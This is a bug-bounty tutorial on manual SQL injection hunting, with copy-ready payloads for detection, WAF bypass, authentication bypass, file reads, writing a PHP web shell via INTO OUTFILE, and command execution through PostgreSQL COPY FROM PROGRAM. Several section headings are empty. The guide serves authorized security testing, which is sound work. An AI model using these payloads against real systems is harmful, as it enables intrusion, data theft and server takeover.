Manual SQL Injection Hunting: Techniques That Actually Find Bugs in 2026

Key Takeaways

  • Scanners find the easy SQLi — manual hunting finds the bugs that pay $5K–$50K+
  • Focus on non-obvious injection points: ORDER BY, LIMIT, JSON column queries, stored procedures, and batch operations
  • Second-order injection is the highest-value SQLi class — input stored safely, used unsafely later
  • Blind SQLi (boolean-based and time-based) is still the most common finding in modern apps
  • WAF bypass is a skill, not a trick — learn the target's WAF before crafting payloads

Why Manual SQLi Hunting Still Matters

Every bug bounty program gets hammered by automated scanners running SQLMap and Burp Active Scan. The trivial injection points — login forms, search boxes, URL parameters — get found and fixed fast. What remains are the bugs that require a human brain: second-order injection, injection through business logic, and blind SQLi in non-obvious parameters.

This guide is for hunters who want to find the SQLi that scanners miss. No tool tutorials — just techniques you apply with Burp Repeater, curl, or any HTTP client.

Step 1: Map the Injection Surface

Before testing anything, map every place user input touches a database query. Most hunters only test obvious parameters. Expand your surface:

Standard Input Channels

Non-Obvious Injection Points

Step 2: Detection Without Scanners

Manual detection is about observing behavioral differences. You're looking for evidence that your input changed the query's behavior.

Boolean-Based Detection

Send two requests that should produce different results if injection exists:

# Baseline
GET /api/products?category=electronics

# Test true condition
GET /api/products?category=electronics' AND '1'='1

# Test false condition
GET /api/products?category=electronics' AND '1'='2

If the true condition returns the same results as baseline and the false condition returns different results (empty, fewer items, error), you have injection.

Time-Based Detection

When the application returns identical responses regardless of query results (common in UPDATE/INSERT/DELETE operations):

# MySQL
'; SELECT SLEEP(5)-- -

# PostgreSQL
'; SELECT pg_sleep(5)-- -

# MSSQL
'; WAITFOR DELAY '0:0:5'-- -

# Oracle
' || DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -

Measure response time. A consistent 5-second delay confirms injection. Always test multiple times to rule out network latency.

Error-Based Detection

Trigger database errors that leak information:

# Force type conversion error (MySQL)
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

# PostgreSQL cast error
' AND 1=CAST((SELECT version()) AS int)-- -

# MSSQL convert error
' AND 1=CONVERT(int,(SELECT @@version))-- -

Step 3: Second-Order Injection

This is where the money is. Second-order SQLi happens when:

  1. You submit input that gets stored safely (parameterized INSERT)
  2. Later, a different feature retrieves that stored value and uses it unsafely in another query

Common Second-Order Vectors

How to Test

  1. Identify all places where user input is stored
  2. Identify all features that read and re-use that stored data
  3. Inject SQL syntax into the storage point
  4. Trigger the feature that re-uses the data
  5. Observe for errors, behavioral changes, or time delays

This requires patience and application understanding. Map the data flow before testing.

Step 4: WAF Bypass Techniques

Modern WAFs block obvious payloads. Bypass requires understanding what the WAF filters and finding gaps.

Encoding Bypasses

# Double URL encoding
%2527 → %27 → '

# Unicode encoding
%u0027 → '

# HTML entity in JSON
{"search": "test' OR 1=1-- -"}

Syntax Alternatives

# Instead of UNION SELECT
UNION ALL SELECT
UNION/**/SELECT
/*!50000UNION*/ SELECT

# Instead of spaces
UNION%09SELECT    (tab)
UNION%0ASELECT    (newline)
UNION/**/SELECT   (comment)

# Instead of OR 1=1
OR 2>1
OR 'a'='a'
|| 1

Chunked Transfer Encoding

Some WAFs only inspect the first chunk. Split your payload across chunks:

Transfer-Encoding: chunked

5
id=1'
6
 UNION
8
 SELECT
1
 1
0

Step 5: Escalation — From SQLi to Impact

Finding injection is step one. Demonstrating impact determines your payout.

Data Exfiltration

Authentication Bypass

# Classic login bypass
admin'-- -

# Bypass with known username
' OR username='admin'-- -

File System Access

# MySQL file read
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3-- -

# MySQL file write (if FILE privilege)
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -

Remote Code Execution

Step 6: Database-Specific Techniques

MySQL

# Version detection
' AND SUBSTRING(@@version,1,1)='8'-- -

# Information schema enumeration
' UNION SELECT table_name,column_name,3 FROM information_schema.columns WHERE table_schema=database()-- -

PostgreSQL

# Version
' AND SUBSTRING(version(),1,10)='PostgreSQL'-- -

# Stacked queries (PostgreSQL supports them)
'; CREATE TABLE test(data text); COPY test FROM PROGRAM 'id';-- -

MSSQL

# Version
' AND @@version LIKE '%SQL Server 2022%'-- -

# Linked servers (lateral movement)
' UNION SELECT 1,name,3 FROM master..sysservers-- -

Reporting SQLi for Maximum Payout

Tools for Manual Hunters

These complement manual testing — they don't replace it:

Related Guides

Advertisement